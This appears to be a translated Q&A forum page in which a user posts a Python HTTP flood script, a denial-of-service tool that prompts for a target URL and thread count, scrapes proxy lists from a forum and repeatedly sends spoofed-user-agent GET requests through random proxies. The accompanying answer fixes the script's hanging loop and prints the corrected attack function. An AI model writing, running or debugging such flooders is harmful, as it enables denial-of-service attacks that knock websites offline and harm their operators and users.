构建使用套接字的泛洪脚本时出现问题

时间:2016-07-24 17:20:29

标签: sockets python-3.x proxy proxies

我正在尝试改进2个flooders(不是我的)项目,制作我自己的脚本,这两个。这样做,我差不多完成了,但我陷入了脚本什么都不做的地方。 这是代码:

import socket, threading, random, time, urllib.request, re, os.path
from bs4 import BeautifulSoup

useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
            "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
            "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
            "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
            "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
            "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
            "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
            "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",]

def checkurl():
    global url
    url = input("Insert URL: ")
    if url[0]+url[1]+url[2]+url[3] == "www.":
        url = "http://" + url
    elif url[0]+url[1]+url[2]+url[3] == "http":
        pass
    else:
        url = "http://" + url

def threads():
    global thread
    try:
        thread = int(input("Thread (800): "))
    except:
        thread = 800

def proxymode():
    global choise1
    choise1 = input("Do you want proxy mode? Answer 'y' to enable it: ")
    if choise1 == "y":
        choisedownproxy()
    else:
        exit(0)

def choisedownproxy():
    choise2 = input("Do you want to download a fresh list of proxy? Answer 'y' to do it: ")
    print ("")
    if choise2 == "y":
        proxyget()
    else:
        proxylist()

def proxyget():
    if os.path.isfile("proxy.txt"):
        out_file = open("proxy.txt","w")
        out_file.write("")
        out_file.close()
    else:
        pass
    url = "https://www.inforge.net/xi/forums/liste-proxy.1118/"
    soup = BeautifulSoup(urllib.request.urlopen(url), "lxml")
    base = "https://www.inforge.net/xi/"
    for tag in soup.find_all("a", {"class":"PreviewTooltip"}):
        links = tag.get("href")
        final = base + links
        result = urllib.request.urlopen(final)
        for line in result :
            ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line))
            if ip:
                print("Proxy grabbed=> "+'\n'.join(ip))
                for x in ip:
                    out_file = open("proxy.txt","a")
                    while True:
                        out_file.write(x+"\n")
                        out_file.close()
                        break
    proxylist()

def proxylist():
    global proxy
    global entries
    out_file = str(input("Enter the proxy list: "))
    entries = open(out_file).readlines()
    proxy = random.choice(entries).strip().split(':')
    requestproxy()

def requestproxy():
    global proxy
    host = proxy[0]
    port = proxy[1]
    host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
    get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
    useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
    accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
    connection = "Connection: Keep-Alive\r\n"
    request = get_host + useragent + accept + connection + "\r\n"
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.send(request)
        except:
            proxy = random.choice(entries).strip().split(':')

checkurl()
threads()
proxymode()

如您所见,此脚本使用代理列表将请求(使用套接字库)发送到目标。但是当我到达“输入代理列表”并输入“proxy.txt”之后,脚本就会卡住!我做错了什么?你能救我吗?

1 个答案:

答案 0 :(得分:1)

输入“proxy.txt”后,脚本会打开文件,然后调用requestproxy()。在requestproxy()结束时,你有一个“while True”。这是一个无限循环,因此除非在某处出现“中断”,否则它会卡在那里,事实并非如此。您应该在s.send(request)之后添加一个break并将整个函数放入循环中。这样,如果包已经发送,你的无限循环就会停止,但如果有异常,它将再次尝试使用不同的代理。

看起来像这样:

def requestproxy():
    while True:
        global proxy
        host = proxy[0]
        port = proxy[1]
        host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
        get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
        useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
        accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
        connection = "Connection: Keep-Alive\r\n"
        request = get_host + useragent + accept + connection + "\r\n"
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.send(request)
            break
        except:
            proxy = random.choice(entries).strip().split(':')

我希望这会有所帮助。祝你有愉快的一天!